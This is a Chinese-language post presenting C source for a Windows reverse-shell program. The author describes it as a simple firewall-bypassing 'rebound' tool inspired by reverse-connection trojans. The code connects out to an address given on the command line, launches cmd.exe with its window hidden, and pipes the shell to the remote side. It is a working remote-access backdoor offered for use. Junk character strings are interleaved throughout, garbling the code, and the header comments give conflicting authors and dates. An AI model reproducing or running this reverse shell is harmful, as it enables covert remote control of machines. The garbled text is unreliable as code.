Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 Hy#<f
Kz`!  
aDVBi: _  
/* ============================== `Y.Q{5Y  
Rebound port in Windows NT \,yX3R3}.~  
By wind,2006/7 kac]Rh8vO  
===============================*/ 4 X6_p(  
#include =Vi>?fWpn=  
#include AJR`ohh  
lb[\Lzdvmu  
#pragma comment(lib,"wsock32.lib") W5zlU2
 
UN7J6$!Cx7  
void OutputShell(); xGo,x+U*  
SOCKET sClient; Evb %<`gd  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; qn#f:xltu  
l]KxUkA+  
void main(int argc,char **argv) FOD_m&+  
{ ?;?$\b=  
WSADATA stWsaData; z.]  
int nRet; V]0~BV  
SOCKADDR_IN stSaiClient,stSaiServer; O`Ge|4  
KImazS^  
if(argc != 3) +
!)v=NY  
{ GN@(!V#/4  
printf("Useage:\n\rRebound DestIP DestPort\n"); K*fh`Kz  
return; +
N>&b%  
} oO~LiK>  
Mh*^@_h?  
WSAStartup(MAKEWORD(2,2),&stWsaData); Gs
vB5
i  
o%$'-N  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Jevr.&;O  
K9+%rqC.|`  
stSaiClient.sin_family = AF_INET; 9ld'SB:#  
stSaiClient.sin_port = htons(0); */E5<DO  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =U_O;NC  
I.RmBUq):s  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) WR@TH bU  
{ >Mc,c(CvU  
printf("Bind Socket Failed!\n"); Pq)C(Z  
return; d6;"zW|Ec  
} =r1@?x  
1"P^!N  
stSaiServer.sin_family = AF_INET; |)IS[:X  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [SX>b"L  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Hv.nO-c  
KL6FmL)HH  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9|9Hk1  
{ {8Uk]   
printf("Connect Error!"); kPg| o3H  
return; nK;c@!~pS  
} EG3?C  
OutputShell(); Zh,{e/j  
} @?\[M9yK  
=}7[ypQM`]  
void OutputShell() mu#  a  
{ (_$'e%G0  
char szBuff[1024];  2/v9  
SECURITY_ATTRIBUTES stSecurityAttributes; '+*{u]\  
OSVERSIONINFO stOsversionInfo; FCMV1,  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; K`#bLCXEV0  
STARTUPINFO stStartupInfo; y:+4-1  
char *szShell; f*&4d  
PROCESS_INFORMATION stProcessInformation; @ob4y  
unsigned long lBytesRead; (zL(  
"~^#{q  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -=CZhp  
U5x&?n<  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); cop \o4ia  
stSecurityAttributes.lpSecurityDescriptor = 0; /R% Xkb  
stSecurityAttributes.bInheritHandle = TRUE; u?+i5=N9{  
K,Z_lP_~Vw  
3T7,Y(<V  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \c.MIDp"  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "g>, X[g  
)T26cT$  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); y o |"-  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sAec*Q(R  
stStartupInfo.wShowWindow = SW_HIDE; XlGDv*d:#d  
stStartupInfo.hStdInput = hReadPipe; haW*W=kv)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; eod-N}o  
9j
~|m  
GetVersionEx(&stOsversionInfo); eQQ*ZNG  
}4A $j{\  
switch(stOsversionInfo.dwPlatformId) L5
-Kw+t  
{ d2XSw>  
case 1: >
;}q  
szShell = "command.com"; U#=5HzE  
break; m"y_@Jk  
default: L?slIGp%-  
szShell = "cmd.exe"; 0k\BE\PQk  
break; 1L\\](^ 3  
} #2\ 0#H
N  
@K:TGo,%I  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Q5~Y;0'  
C`LHFqv  
send(sClient,szMsg,77,0); F.[E;gOTo  
while(1) q"O4}4`  
{ %;-]HI  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); u~y0H  
if(lBytesRead) fce~a\y0  
{ r[}5<S Q  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); AV%t<fDG#  
send(sClient,szBuff,lBytesRead,0); /$NZj"#  
} o+j~~P  
else 12JmSvD  
{ ./#F,^F2  
lBytesRead=recv(sClient,szBuff,1024,0); XFv)]_G  
if(lBytesRead<=0) break; s}5,<|DL  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); e0; KmQjG  
} SZ'2/#R>  
} WQ>y;fi5/{  
U3UDA  
return; ?1kXV n$  
}